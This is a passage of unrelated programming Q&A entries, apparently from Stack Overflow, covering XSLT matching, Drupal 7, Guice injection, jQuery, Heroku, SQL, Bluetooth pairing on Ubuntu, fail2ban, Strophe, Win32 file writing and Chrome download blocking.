<xsl:template match="span/strong"><xsl:text> </xsl:text><biz-name><xsl:value-of select="normalize-space(.)"/></biz-name><xsl:text> </xsl:text></xsl:template>
</xsl:stylesheet>

Here's the desired output:
<newsItem>
<inlineXml>

Appointments

<bull>•</bull> <biz-name>John Smith</biz-name> interim president and CEO was named to the permanent position.

<bull>•</bull> Hospital announced that <biz-name>James Williams</biz-name> will become division president.

</inlineXml>
</newsItem>

I can't get the selection to work for the bullet entity element.
Thanks

A: Your class in the XML is 'PB-biz red bullet'. You match on class 'PB-biz'. As those are not the same, it matches none. Change the XSLT to match the exact attribute value of class.


text:
Q: altering footer page on drupal 7 In Drupal 6, my module had this next function which inserted a javascript to the footer of the page, but in Drupal 7, stuff have changed. How can I do this next code in drupal 7?
function myfunc_footer()
 {
    if(variable_get('myvar',1) && !drupal_match_path(drupal_get_path_alias($_GET['q']),
          'admin/*'))
    {
         if ($somevar = variable_get('somevar',''))
             {
        return '';
         }
         else
             {
        drupal_set_message(t('something is wrong.'));
         }
    }
}

Thanks in advance

A: Nothing in your code has changed from Drupal 6 to 7...all of the functions are valid and if this worked for Drupal 6 there's no reason it wouldn't work for Drupal 7.
I don't really understand why you're running drupal_match_path against a path alias though, you should be running that against the router path, not URL path:
if(variable_get('myvar',1) && !drupal_match_path($_GET['q'], 'admin/*')) {

Try that and see if it fixes your problem, if not could you expand a bit about what error you're getting?
EDIT
Thanks for the update, your second comment below is nearly right, you just need to give the render array a key:
function myfunc_page_alter(&$page) {
  $page['page_bottom']['my_extra_element'] = array(
    '#markup' => '

 testingthisout

',
    '#weight' => 25
  );
}

You don't need to specify '#type' => 'markup' as markup is the default.
Then make sure your module (the one called myfunc) is definitely installed, and clear the caches. You shouldn't have any problems from there


text:
Q: android x navigation is not going back to host fragment android x navigation is not going back to host fragment when triggered from specific destionations
i tried lot of things but anything didn'twork for me


text:
Q: Proper way to do Guice singleton service injection into Quartz tasks, Stripes ActionBeans and ServletContextListeners? At the moment I'm using a static singleton to obtain the singleton service that Guice 3.0 builds for me through DI - I believe this a terrible hack and not at all the intended way to use Guice for DI, and complicates unit testing.
public class ServiceProvider {
    private static ServiceProvider instance = new ServiceProvider();
    private MyService myService;

    public ServiceProvider() {
        Injector myInjector = Guice.createInjector(new MyModule());
        myService = noobmeterInjector.getInstance(MyService.class);
    }

    public static MyService getMyService() {
        return instance.myService;
    }
}

However, I'm not quite sure how to fix that, as I need that service in at least four different spots:

*

*Stripes ActionBeans - I think the Stripes Guice plugin would help me there, and I did connect it but ended up with multiple parallel MyServices

*ServletContextListener - I think possibly the Guice Servlet module can help somehow, although I'm struggling with the documentation as it mostly discusses replacing web.xml with Guice configuration (not my priority at this point) and injecting HttpServletRequests into Guice-constructed objects (again not what I want to do)

*Quartz Jobs - here I found something relevant, but not sure if it won't end up still creating a "parallel" MyService to the other ones

*Batch processes run from command line - this is the easy part

The MyService service is intended to be a singleton (other services it owns open DB/MQ connections, etc., so creating multiple of these would be bad).
Is there some simple way how to do this in Guice that I'm missing?

A: So there's a few issues with your code snippet.

*

*You should no longer be implementing singletons as static variables; let Guice do the lifecycle management for you.

*In this example, ServiceProvider is basically a Service Locator implementation, which is unnecessary since you're using Guice.

*It's good practice to keep the Injector creation as "high" up as possible. The main method where your server starts would be a good place.

I've added some code to  demonstrate.
public class Server {
    public static void main(String[] args) {
        Injector injector = Guice.createInjector(new MyModule());
        // Your code here.
    }
}

public class MyModule extends AbstractModule {
    protected void configure() {
         // Assuming MyService implements Service
         bind(Service.class).to(MyService.class).in(Singleton.class);
    }
}


text:
Q: What is Dowork() in background worker exactly do? I have a confusing that: in every single demo of background worker. they put Thread.Sleep(); in this method to simulate for a long length of operation. But if I have a operation of import data from database to datatable, and I called this method: importData(). and I replace Thread.Sleep(); by it. That is mean it will be import for 100 time? Thanks for your answer.
 void worker_DoWork(object sender, DoWorkEventArgs e)
            {
                    for(int i = 0; i < 100; i++)
                    {
                            (sender as BackgroundWorker).ReportProgress(i);
                            Thread.Sleep(100);
                    }
            }

A: DoWork is the main event of a background worker. It means that the work it has to do in the background will be done in that event.
If you put your ImportData() method is in a for-loop, then yes your data will be importet 100 times, or whatever variable you add instead of 100.
But you don't need to do your work in a for-loop, just skip the for-loop part and do the ImportData() part
Remarks from MSDN:

This event is raised when you call the RunWorkerAsync method. This is
  where you start the operation that performs the potentially
  time-consuming work.
Your code in the DoWork event handler should periodically check the
  CancellationPending property value and abort the operation if it is
  true. When this occurs, you can set the Cancel flag of
  System.ComponentModel.DoWorkEventArgs to true, and the Cancelled flag
  of System.ComponentModel.RunWorkerCompletedEventArgs in your
  RunWorkerCompleted event handler will be set to true.


text:
Q: ASP.net MVC How to change the Textbox Class upon validation failure? I notice in the default MVC template project that the Account registration fields are highlighted via a class change.
I can't seem to get the same behaviour out of my own code (in the same project - same CSS etc)
What might be stopping this from occurring?
Update
I believe this relates to one of my other questions
Because I was having trouble with NullReferenceExceptions I have changed the Html.ValidationMessage fields to have different names than the target fields.
So really, I need to resolve this question


text:
Q: vb.net dynamic accesing dynamic controls I have placed a FlowLayoutPanel in a WinForm
and created a composite control named ContactW
With a loop I have filled the FlowLayoutPanel with several ContactW objects
For index = 0 To 99
    Dim Contact As New ContactW.BaseContactW()
    Contact.Tag = index
    'Here I could set properties
    '....
    AddHandler Contact.ContactClickEvt, AddressOf GenericClick
    flp_ContaninerContacts.Controls.Add(Contact)
Next

GenericClick gets the ContactW object, and I can modify it's properties
Public Sub GenericClick(ByVal sender As System.Object, ByVal e As System.EventArgs)
    Dim cwa As ContactW.BaseContactW = CType(sender, ContactW.BaseContactW)
    MessageBox.Show("you have clicked " & CType(CType(sender, System.Object).Tag, String))
    cwa.ContactName = "Robert"
End Sub

But I would like to modify properties of a ContactW using index or Tag for example like this:
Contact(21).ContactName = "Julia"
Contact(21).ContactAge = 35
Contact(21).ContactStatus = "Married"

How could I achieve that?

A: The Controls collection that you added the controls to in the first place is a collection, so you just index it like you would any other collection.


text:
Q: Getting value of a dynamically created select Apologies if my question is a little badly worded but I am not quite sure how to ask it correctly.
I am using PHP to dynamically generate some selects and I was just wondering if it is possible to do this?
Or would I need to add something like {onChange="some_function();"} to each of the selects, passing some variable(s) to id it ?

Q1

<select name="Q1select" id="Q1select" class="Q1">
    <option value="-">-</option>
    <option value="type1">Type One</option>
    <option value="type2">Type Two</option>
    <option value="type3">Type Three</option>
</select>

Q2

<select name="Q2select" id="Q2select" class="Q2">
    <option value="-">-</option>
    <option value="type1">Type One</option>
    <option value="type2">Type Two</option>
    <option value="type3">Type Three</option>
</select>

Q3

<select name="Q3select" id="Q3select" class="Q3">
    <option value="-">-</option>
    <option value="type1">Type One</option>
    <option value="type2">Type Two</option>
    <option value="type3">Type Three</option>
</select>

Updated working script :

Updated html :
<select name="select_Q1" id="select_Q1" class="question" data-div="update_Q1">
   <option value="-">-</option>
   <option value="type1">Type One</option>
   <option value="type2">Type Two</option>
   <option value="type3">Type Three</option>
</select>

Q2

<select name="select_Q2" id="select_Q2" class="question" data-div="update_Q2">
   <option value="-">-</option>
   <option value="type1">Type One</option>
   <option value="type2">Type Two</option>
   <option value="type3">Type Three</option>
</select>

Q3

<select name="select_Q3" id="select_Q3" class="question" data-div="update_Q3">
   <option value="-">-</option>
   <option value="type1">Type One</option>
   <option value="type2">Type Two</option>
   <option value="type3">Type Three</option>
</select>

A: You can assign an event handler to all the select elements using the following:
 $('select').change(function(event) {
       ....
    });

In the event handler, you can get the value of the select using:
 $(this).val()

To get the ID of the select in the event handler, you can use;
$(this).attr('id')

A: Yes that would work ... but you could simplify a touch :
$('Selects ID or class').change(function(event) {
    $.post('formupdate.php', { selected: $(this).val() },
        function(data) {
            $('update the div linked to select').html(data);
        }
    );
});

changed the selector within the function to $(this) instead of a class or id that way it will work when you use on multiple elements
To link the select to a div you could either name the div similar to the select ie select id = select_1 and div = div_1 or use the data property
<select name="Q2select" id="Q2select" data-div="divid" class="Q2">

then within your AJAX callback you can do :
$('#' + $(this).data('div')).html(data);

this will set the HTML content of the div with the id = divid ... just an idea
Update
there are a couple of things to try and debug this, first :
function (data) {
    $('#update_Q3').html(data);
}

this puts the content in a div - this checks the content returned from the post is working and that you can insert HTML at this point
and try this :
function (data) {
    alert($(this).data('div'));
}

this will confirm your selecting the correct div by getting the data
Update 2
My screw up !!!!! $(this) is not working in the callback, try this :
$('.question').change(function (event) {
      var $this = $(this);
      $.post('formupdate.php', { selected:$(this).val() },
         function (data) {
             $('#' + $this.data('div')).html(data);
         }
      );
});

we save $(this) into a variable $this for later use

A: Yes you could do
//For every select whose id ends with select
$('select[id$=select]').change(function(event) {
    //getthe id so that you can post it
    var id = this.id;
    //save the variable this to another one to use in the callback
    var that = this;
    //post the selected value and thew id of the select
    $.post('formupdate.php', { selected: $(this).val(), id : id },
        function(data) {
            update the next element after the select
            $(that).next().html(data);
        }
    );
});

A: Here's how I would do it, using a class of question on each <select> and using the id as the unique identifier. The benefit of using a class to grab the selects is if you ever add any other select to the page, they won't be affected.

Q1

<select name="select_Q1" id="select_Q1" class="question">
<option value="-">-</option>
<option value="type1">Type One</option>
<option value="type2">Type Two</option>
<option value="type3">Type Three</option>
</select>

Q2

<select name="select_Q2" id="select_Q2" class="question">
<option value="-">-</option>
<option value="type1">Type One</option>
<option value="type2">Type Two</option>
<option value="type3">Type Three</option>
</select>

Q3

<select name="select_Q3" id="select_Q3" class="question">
<option value="-">-</option>
<option value="type1">Type One</option>
<option value="type2">Type Two</option>
<option value="type3">Type Three</option>
</select>


text:
Q: pending migrations vs heroku rake db:seed I'm trying to deploy to heroku and I'm having an issue:
when i run heroku rake db:seed (which creates the admin user in my db), rails returns that I have pending migrations.
I've deleted these migrations manually (which I shouldn't have, I know), how can I go around this ?
Charlie@CHARLIE-PC /c/rails/rails_projects/METACRITIC (master)
$ rake db:migrate

Charlie@CHARLIE-PC /c/rails/rails_projects/METACRITIC (master)
$ heroku run rake db:seed
Running `rake db:seed` attached to terminal... up, run.1
DEPRECATION WARNING: You have Rails 2.3-style plugins in vendor/plugins! Support
 for these plugins will be removed in Rails 4.0. Move them out and bundle them i
n your Gemfile, or fold them in to your app as lib/myplugin/* and config/initial
izers/myplugin.rb. See the release notes for more on this: http://weblog.rubyonr
ails.org/2012/1/4/rails-3-2-0-rc2-has-been-released. (called from <top (required
)> at /app/Rakefile:7)
DEPRECATION WARNING: You have Rails 2.3-style plugins in vendor/plugins! Support
 for these plugins will be removed in Rails 4.0. Move them out and bundle them i
n your Gemfile, or fold them in to your app as lib/myplugin/* and config/initial
izers/myplugin.rb. See the release notes for more on this: http://weblog.rubyonr
ails.org/2012/1/4/rails-3-2-0-rc2-has-been-released. (called from <top (required
)> at /app/Rakefile:7)
DEPRECATION WARNING: You have Rails 2.3-style plugins in vendor/plugins! Support
 for these plugins will be removed in Rails 4.0. Move them out and bundle them i
n your Gemfile, or fold them in to your app as lib/myplugin/* and config/initial
izers/myplugin.rb. See the release notes for more on this: http://weblog.rubyonr
ails.org/2012/1/4/rails-3-2-0-rc2-has-been-released. (called from <top (required
)> at /app/Rakefile:7)
You have 2 pending migrations:
  20121013054027 Addcolumnimagetoshow
  20121013063205 AddAttachmentToShows
Run `rake db:migrate` to update your database then try again.

Charlie@CHARLIE-PC /c/rails/rails_projects/METACRITIC (master)
$

A: You were running your migrations locally (rake db:migrate) instead you should run the on heroku heroku run rake db:migrate


text:
Q: Data Cleaning in SQL Server (SSMS) using SUBSTRING I have a particular column that needed a cleaning called Owner Address with a table name NashvilleHousing. Below is the example data of the column;
OwnerAddress
-------------
2935  LOUISE DR, NASHVILLE, TN
3019  LOUISE DR, NASHVILLE, TN
3019  LOUISE DR, NASHVILLE, TN

I want to extract NASHVILLE only for every record. My query is as such;
SELECT
SUBSTRING(OwnerAddress, CHARINDEX(',', OwnerAddress)+1, Len(OwnerAddress) - 4)
FROM NashvilleHousing

Where did I go wrong here? Thank you.


text:
Q: Microsoft Modern Keyboard with Ubuntu The new Microsoft Modern Keyboard is visually the same as the Surface Keyboard, including the bluetooth 4.0/4.1 connectivity, but it has a different pairing procedure, and lacks a pairing button.  I was wondering if anyone has tried to get it working on Ubuntu?
Here is the high-level setup instructions from MSFT:

*

*plug in USB to computer

*turn on keyboard

*click pop-up dialog installing needed windows drivers

*paring should now be complete

Obviously, that 3rd step is a problem on a non-windows OS.  I'm wondering if there is something I can do on ubuntu to initiate the pairing attempt.
I have tried this, and ubuntu doesn't seem to see a bluetooth device available when it's plugged in, or when it's charged and unplugged.  When plugged in, it functions fine as a normal HID-compliant USB Keyboard, fwiw.

A: If you don't mind installing Windows on your computer there is a way of doing this.
As you said, the pairing happens over USB and it's only possible on Windows. What you can do is to pair the keyboard on Windows and transfer the pairing information to Linux. There's plenty of information out there on how to "dual-pair" or how to make Bluetooth devices work in "dual-boot" environments.
This worked for me: http://console.systems/2014/09/how-to-pair-low-energy-le-bluetooth.html on Ubuntu 18.04, the only different thing I had to do is to add an additional key not mentioned in that guide (but mentioned in the comments): IRK and set the enclave size to 16.
Here's how my info file looks like, for reference:
[General]
Name=BTLE Keyboard Fingerprint ID
Appearance=0x03c1
AddressType=static
SupportedTechnologies=LE;
Trusted=true
Blocked=false
Services=00001800-0000-1000-8000-00805f9b34fb;00001801-0000-1000-8000-00805f9b34fb;0000180a-0000-1000-8000-00805f9b34fb;0000180f-0000-1000-8000-00805f9b34fb;00001812-0000-1000-8000-00805f9b34fb;d4e3e3eb-a4ae-4193-bbf8-c769980abfe0;

[DeviceID]
Source=2
Vendor=1118
Product=2067
Version=274

[IdentityResolvingKey]
Key=40DA574571378A18D19EECB0B6814F2D

[LocalSignatureKey]
Key=9514799E99500FAACE427153D3345C63
Counter=0
Authenticated=false

[LongTermKey]
Key=467D87EB169591378DB06F3E14C43FFD
Authenticated=0
EncSize=16
EDiv=41809
Rand=8310545922518117455

[ConnectionParameters]
MinInterval=6
MaxInterval=6
Latency=60
Timeout=200

EDIT - Problem Solving:
In case you don't have a CSRK key from the Registry Export, leaving it out works just fine.
If you still have connection problems, run psexec -s -i regedit.exe, navigate to HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BTHPORT\Parameters\Keys and take the decimal value displayed in regedit.exe.


text:
Q: creating a list of lists based on a condition I have a list containing some numbers increasing until a certain value, and then somehow repeating the same behavior but nothing periodic. I need to create a list of lists representing these groups from the input.
input:
index=[2,5,6,9,10,11,13,18,19,21, 3,5,8,9,12,17,119, 2,4,6,8,10,12,14,16,18,200, 3,5,7,9,11,14,15,19,233]

desired_output
[[2, 5, 6, 9, 10, 11, 13, 18, 19, 21],
 [3, 5, 8, 9, 12, 17, 119],
 [2, 4, 6, 8, 10, 12, 14, 16, 18, 200],
 [3, 5, 7, 9, 11, 14, 15, 19, 233]]

I came up with this code but at first I couldn't manage to dump the last iteration to the list_of_lists without explicit intervention. Can you think a better way to do it?
temp_lst=[]
list_of_lists=[]
for i in range(len(index)-1):
    if index[i+1]>index[i]:
        temp_lst.append(index[i])

    else:
        temp_lst.append(index[i])
        list_of_lists.append(temp_lst)
        temp_lst=[]

list_of_lists.append(temp_lst)
list_of_lists[-1].append(index[-1])

A: You can append a new sub-list if the output is empty or if the current item is less than the last item in the last sub-list:
list_of_lists=[]
for i in index:
    if not list_of_lists or i < list_of_lists[-1][-1]:
        list_of_lists.append([])
    list_of_lists[-1].append(i)

list_of_lists becomes:
[[2, 5, 6, 9, 10, 11, 13, 18, 19, 21],
 [3, 5, 8, 9, 12, 17, 119],
 [2, 4, 6, 8, 10, 12, 14, 16, 18, 200],
 [3, 5, 7, 9, 11, 14, 15, 19, 233]]


text:
Q: asp.net Log-in doesn't work on firefox browser? i've log-in page in my site but log-in control doesn't work on any browser other than IE.
please can anyone help me??
thanks

A: If it is browser specific issue, then check if the browser cookies are not disabled. If you have set cookieless="UseCookies" for FormsAuthentication in your web.config, it won't work with cookies disabled on browser.


text: Q: TFS Check-in note Fields different per user? I have a Team Project set up with custom Check-in Notes : "Ticket" and "Code Reviewer".  This is displayed to all in-house users on check-in.  However, when the one external dev tries to check in, he is presented with the default "Code Reviewer","Performance Reviewer","Security Reviewer".  I haven't found anything different between his permissioning and the in-house dev's.  Why would one person see different fields?


text:
Q: Tkinter window closes automatically after Python program has run in PyCharm I am programming a small Python game in PyCharm. I am doing this on a Macbook with Python version 3.4.
The game opens a Tkinter window and adds some stuff to it.
However, when running the game, it shows up very briefly and closes immediately.
I found some tips here on Stackoverflow to add input('Press  to close the window') at the end of the game. Indeed, this ensures that the window is not closed immediately, but it is not practical for the game. In the game, the user needs to use his arrow keys to play. So adding the input(...) is not useful in this case. How can I prevent the window to close automatically? Thanks!
Below the code:
from tkinter import *

# Scherm maken
HEIGHT = 500
WIDTH = 800
window = Tk()
window.title('Bellenschieter')
c = Canvas(window,width=WIDTH, height=HEIGHT, bg='darkblue')
c.pack()

# Duikboot maken
ship_id = c.create_polygon(5,5,5,25,30,15,fill='red')
ship_id2 = c.create_oval(0,0,30,30,outline='red')
SHIP_R = 15
MID_X = WIDTH/2
MID_Y = HEIGHT/2
c.move(ship_id, MID_X, MID_Y)
c.move(ship_id2, MID_X, MID_Y)

# Duikboot besturen
SHIP_SPD = 10
def move_ship(event):
    if event.keysym == 'Up':
        c.move(ship_id, 0, -SHIP_SPD)
        c.move(ship_id2, 0, -SHIP_SPD)
    elif event.keysym == 'Down':
        c.move(ship_id, 0, SHIP_SPD)
        c.move(ship_id2, 0, SHIP_SPD)
    elif event.keysym == 'Left':
        c.move(ship_id, -SHIP_SPD, 0)
        c.move(ship_id2, -SHIP_SPD, 0)
    elif event.keysym == 'Right':
        c.move(ship_id, SHIP_SPD, 0)
        c.move(ship_id2, SHIP_SPD, 0)
c.bind_all('<Key>', move_ship)

window.update()

input('Press <Enter> to end the program')

A: Start a event loop after setting up widgets, event handlers.
# input('Press <Enter> to end the program')  # (X)
window.mainloop()  # OR mainloop()

Remove the call to the input.


text:
Q: 404 (Invalid SID value) in Strophe while using attach() I have searched in google and some similar questions on stack overflow. But I am not getting any solution.
Basically, I want to persist connection across web pages in my application. For this I am using cookies. I store SID and RID in cookies and use them for attaching the session again.
Below is my code.
this.openConnection = function(){
        if (chatObj.connection != null) return;

        var jid = chatObj.userName + '@' + chatObj.openfireDomainURL; // Bare JID
        var sid = Cookies.get(chatObj.userName + '_sid'); // Session Identifier
        var rid = Cookies.get(chatObj.userName + '_rid'); // Request Identifier

        var connection = new Strophe.Connection(chatObj.xmppHttpBindURL);
        chatObj.connection = connection;

        if(chatObj.isEmpty(sid) && chatObj.isEmpty(rid)){
            connection.connect(jid, chatObj.password, chatObj.onConnection);
        } else {
            // parseInt(rid,10) + 1
            var rid = parseInt(rid) + parseInt(1);
            connection.attach(jid, sid, rid, chatObj.onConnection);
        }
    };

    this.onConnection = function(status) {
        if (status === Strophe.Status.CONNECTED) {
            chatObj.log("CONNECTED ");
            //Cookies.set(chatObj.userName + '_sid', chatObj.connection.sid);
            //Cookies.set(chatObj.userName + '_rid', chatObj.connection.rid);
            jQuery(document).trigger('connected');
        } else if (status === Strophe.Status.DISCONNECTED) {
            jQuery(document).trigger('disconnected');
            chatObj.log("DISCONNECTED ");
        } else if (status === Strophe.Status.CONNFAIL) {
            chatObj.log("CONNFAIL ");
        } else if (status === Strophe.Status.AUTHENTICATING) {
            chatObj.log("AUTHENTICATING ");
        } else if (status === Strophe.Status.AUTHFAIL) {
            chatObj.log("AUTHFAIL ");
        } else if (status === Strophe.Status.ERROR) {
            chatObj.log("ERROR ");
        } else if (status === Strophe.Status.ATTACHED){
            chatObj.log("ATTACHED ");
            jQuery(document).trigger('connected');
        } else if (status === Strophe.Status.CONNFAIL){
            chatObj.log("CONNFAIL ");
        }
    };

$(window).unload(function() {
    console.log("widows unload ");
    if( chatObj.connection != null ){
        console.log("set cookies ");
        Cookies.set(chatObj.userName + '_sid', chatObj.connection.sid);
        Cookies.set(chatObj.userName + '_rid', chatObj.connection.rid);
    } else {
//        Cookies.remove(chatObj.userName + '_sid');
//        Cookies.remove(chatObj.userName + '_rid');
    }
});

404 Invalid SID value in Strophe while using attach()
I tried using windows unload but it does not work. I still get the same error.

A: Instead of using attach() method there is also the restore feature in conjunction with the keepalive option:
var connection = new Strophe.Connection(chatObj.xmppHttpBindURL, {'keepalive': true});

...
try {
    connection.restore(jid, onConnect);
} catch(e) {
    if (e.name !== "StropheSessionError") { throw(e); }
}

See: http://strophe.im/strophejs/doc/1.2.14/files/strophe-js.html#Strophe.Connection.restore
and
https://github.com/strophe/strophejs/blob/master/examples/restore.js

For some strange reasons sid and rid properties are undefined, so you can retrieve them in the following way:
  var sid = chatObj.connection._proto.sid;
  var rid = chatObj.connection._proto.rid;

Another way is to retrieve them directly from each XML message sent to connection overriding xmlOutput function:
  connection.xmlOutput = function (e) {
      rid = $(e).attr('rid');
      sid = $(e).attr('sid');
  };

A: I was also facing the same issue while connecting to the XMPP server.
*

I was using Strophe version 1.2.2.

*
After using the current version, this issue fixed for me.


text:
Q: CentOS 6 fail2ban fails to ban http dos requests Fail2ban fails to ban clients that make an excessive amount of requests over HTTP. SSH bans do work fine
To test this I have made several tests using ab and curl from other servers. I even made sure that i get banned over ssh. I did succeed, but I didn's succeed with the http requests.
ab -n 600 -c 10 http://domain.tld/

I have tried several regex rules for filters, which worked fine when tested a portion of the apache logs. I have the following result:
tail -n 10000 /var/log/httpd/<vhost>_access.log > /tmp/f2btest.log
fail2ban-regex /tmp/f2btest.log /etc/fail2ban/filter.d/cybertec-ban.conf

The result of this is as follows:
Running tests
=============

Use   failregex file : /etc/fail2ban/filter.d/custom-ban.conf
Use         log file : /tmp/f2btest.log

Results
=======

Failregex: 9583 total
|-  #) [# of hits] regular expression
|   1) [9583] ^<HOST> -.*\"(GET|POST).*
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [10000] Day/MONTH/Year:Hour:Minute:Second
`-

Lines: 10000 lines, 0 ignored, 9583 matched, 417 missed
Missed line(s): too many to print.  Use --print-all-missed to print all 417 lines

I assume that the problem is not with the output. Please tell me if i'm wrong.
I put the rules into jail.conf, the rules look like this:
#
# Filter malicious http requests
#

[custom-ban]

enabled  = true
port     = http,https
filter   = custom-ban
action   = iptables[name=HTTP, port=http, protocol=tcp]
           iptables[name=HTTPS, port=https, protocol=tcp]
logpath  = /var/log/httpd/*access.log # <- this works according to the fail2ban log
           /var/log/httpd/access_log
maxretry = 500
findtime = 120

The custom-ban filter (which is located in /etc/fail2ban/filter.d/) looks like this:
[Definition]

failregex = ^<HOST> -.*\"(GET|POST).*
ignoreregex =

What am i making wrong? What did i forget?
How can i make these rules work?
Is there a name collision or something?

A: You have maxretry set to 500 and findtime set to 120 so an IP address has to generate 500 relevant messages in 120 seconds to become banned.
I have no knowledge of your system, what it is being attacked by and how quickly or even what is normal. From the outside they seem a bit high, try reducing maxretry.


text:
Q: Cannot read specific values in GROUP_CONCAT result I have a mySql database and in one of my queries i use the GROUP_CONCAT function to get values from individual rows as a string separated by commas. Initially, the query was returning BLOB and as someone suggested in another question i changed the GROUP_CONCAT to GROUP_CONCAT(DISTINCT CONVERT(classes.type, CHAR(2))). So far so good. The query works and i can see in phpMyAdmin the values separated by commas in the result set.
The call.type field used in GROUP_CONCAT  can have only "1" or "2" as value. So the results are something like "1" - "1,2" - "2" - "1,2" (dash separates result here) etc.
The problem is that i cannot read specifically the character "2" using php. I have tried everything, strpos, in_array (after using explode). For example strpos returns the position of the character when i use strpos($result,"1") but always returns 0 when i use strpos($result,"2").
Any ideas??
Thanks

A: What exactly are you trying to accomplish with the code? There may be an easier way to write it altogether, but I'm having trouble understanding what it is that you're trying to do. Are you trying to find the position of the given integer within the returned list of comma separated integers?


text:
Q: Browser config to bypass host file Is there a way to force two different browsers to use two different host files?  Can you package the host file into a published app to override the local host file?

A: I don't think there is, the way i see it is when you call a web page it will use a defined set/list

*

*cached dns

*local host file

*DNS server

Unless your app could use a predefined bypass list or something built in?


text:
Q: Writing to .txt with WriteFile() C++ (Using C++, Windows 10,  Microsoft Visual Studio 2017)
Hello, I am new to serial ports but trying to learn how to open, close, read, and write with them
Right now, I am trying to use the CreateFile() and WriteFile() functions to write to a txt file.
I created a .txt file called "write.txt" and saved it in my Documents folder. Then I added it to my project's source files via "Add" --> "Existing Item". The file is empty.
I wrote the program below, hoping I could write to the file, but after running then checking on the file, the file is still empty. The program compiles but I am guessing I have an error somewhere. Am I going about writing to a file correctly?
#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;

int main() {
HANDLE write;
    write = CreateFile(TEXT("\\write.txt"), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (write == INVALID_HANDLE_VALUE) {
        DWORD errorWrite = GetLastError();
        printf("Error in opening file\n");
        printf("Error = 0x%x\n", errorWrite);
    }
    else {
        printf("Opening file successful\n");
    }
    WriteFile(write, "hello", 5, 0, 0);

    CloseHandle(write);

    return 0;
}

The output says the file was opened successfully, but the write.txt file remains empty. Any advice?
Thank you in advance :D

A: You are not accessing the text file that is located in your Documents folder. You are accessing a text file that is located at the root of the drive where the calling process's current working directory is currently pointing at.
You need to explicitly query the OS for the path to the Documents folder (ie, via SHGetFolderPath() or SHGetKnownFolderPath()), and then append your filename to that path.
Also, you are calling WriteFile() incorrectly.  In particular, the lpNumberOfBytesWritten parameter is wrong:

lpNumberOfBytesWritten
A pointer to the variable that receives the number of bytes written when using a synchronous hFile parameter. WriteFile sets this value to zero before doing any work or error checking. Use NULL for this parameter if this is an asynchronous operation to avoid potentially erroneous results.
This parameter can be NULL only when the lpOverlapped parameter is not NULL.

And, you are not doing any error handling on WriteFile(), either:

If the function succeeds, the return value is nonzero (TRUE).
If the function fails, or is completing asynchronously, the return value is zero (FALSE). To get extended error information, call the GetLastError function.

Try something more like this instead:
#include <iostream>
#include <string>
#include <Windows.h>
#include <Shlobj.h>
#include <shlwapi.h>
using namespace std;

int main() {

    TCHAR path[MAX_PATH] = {};

    HRESULT hRes = SHGetFolderPath(NULL, CSIDL_MYDOCUMENTS, NULL, SHGFP_TYPE_CURRENT, path);
    if (FAILED(hRes)) {
        printf("Can't get Documents folder path\nError = 0x%08x\n", hRes);
    }
    else {
        PathAppend(path, TEXT("write.txt"));

        HANDLE write = CreateFile(path, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (write == INVALID_HANDLE_VALUE) {
            DWORD errorWrite = GetLastError();
            printf("Can't open file\nError = %u\n", errorWrite);
        }
        else {
            printf("File opened successful\n");

            DWORD written;
            if (!WriteFile(write, "hello", 5, &written, NULL)) {
                DWORD errorWrite = GetLastError();
                printf("Can't write to file\nError = %u\n", errorWrite);
            } else {
                printf("File written successful\n");
            }
            CloseHandle(write);
        }
    }

    return 0;
}


text:
Q: How can I prevent Chrome from blocking a XLSX download? A recent update to Chrome has begun blocking XLSX downloads coming from our website.
I have read Chrome's documentation and guidelines about how they determine if something is potentially harmful but it makes no mention of how to resolve issues outside of reaching out to them. Our files and our site meet all the guidelines they lay out. Most of their documentation is based around executable downloads so it's not clear how this information effects simple file downloads.
The site and the file are served from the same host using HTTPS. The download is driven by an anchor tag that links to an API which serves the file.
Other similar APIs that serve generated CSV files or PDF files of the same data are not effected.
I have also modified our file generation to output XLS files instead of XLSX, but those are blocked too.
Below are the headers of the response, as far as I know everything in regards to disposition or content type are correct so I don't see chrome using those to block the file.
Cache-Control: must-revalidate, private
Connection: keep-alive
Content-disposition: attachment; filename="test-file.xlsx"
Content-Type: application/xlsx
Date: Fri, 17 Jul 2020 16:04:41 GMT
Expires: -1
Server: nginx
transfer-encoding: chunked
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN

I have also verified that the files are in fact not dangerous, they contain simple excel data and nothing strange is being injected or is compromised.
We have also tested various download methods, direct anchor links, form posts, blobs etc. It is always blocked.
Is there a specific request/response header or download method or flag I'm missing that will stop chrome from blocking the files?
Updates

*

*I have confirmed that this issue effected a 83.x version of chrome as well as the latest version Version 84.0.4147.89

*Thanks to @Alex, we have confirmed this issue is not present on the Linux or Windows version of Chrome. OSX Only.

*The issue disappeared for 20-30 minutes earlier today and then returned.

*Users report the issue is present all the way back to Chrome 80+.

A: We had a similar problem earlier today. Our web-site uses TAR files for exchanging data (upload/download). HTTPS is used for all communication. The files are stored on S3 and the user is redirected to S3 to download the file. This setup has been working fine for the last couple of years.
Suddenly, this morning around 11:20am (Eastern Time) most of the users started to experience download issues -- the downloaded files were blocked by Chrome. This happened in Chrome only and on multiple platforms (Windows and MacOS, we don't have any Linux users). The issue was reported by multiple users, most of the users in fact. Upgrading from v83 to the latest v84 did not help.
Then around 12:50pm (1.5 hours later), the issue was gone. 10-20 minutes later, it appeared again. It seems that the issue is gone again.
I have been running my Chrome (v83) non-stop since yesterday. During the first "wave" I was constantly experiencing this issue than constantly not seeing it at all. Then the "second wave" began, and I started seeing it again, and now it is gone.

A: For those following this live, the Chromium team is tracking and fixing this: https://bugs.chromium.org/p/chromium/issues/detail?id=1106858

Comment 8 by vakh@chromium.org on Fri, Jul 17, 2020, 2:42 PM EDT
We're in the process of rolling out a fix for this issue so if you try now, it's likely you won't see a warning.
If you still do, please try again in approximately 30 minutes.

A: Seems to be resolved now, via some silent update.


text:
Q: Why does function takes zero seconds to execute I have written the following code where I average the rows of a frame. I wanted to test the speed and compare it with using np.mean.
@jit(nopython=True)
def test(frame):
    #np.mean(frame, axis=1)

    averages = []
    for i in range(480):
        summation = 0
        for j in range(640):
            summation += frame[i, j, 1]

        averages.append(summation/640)
    return averages

while True:
     a = time.time()
     test(frame)
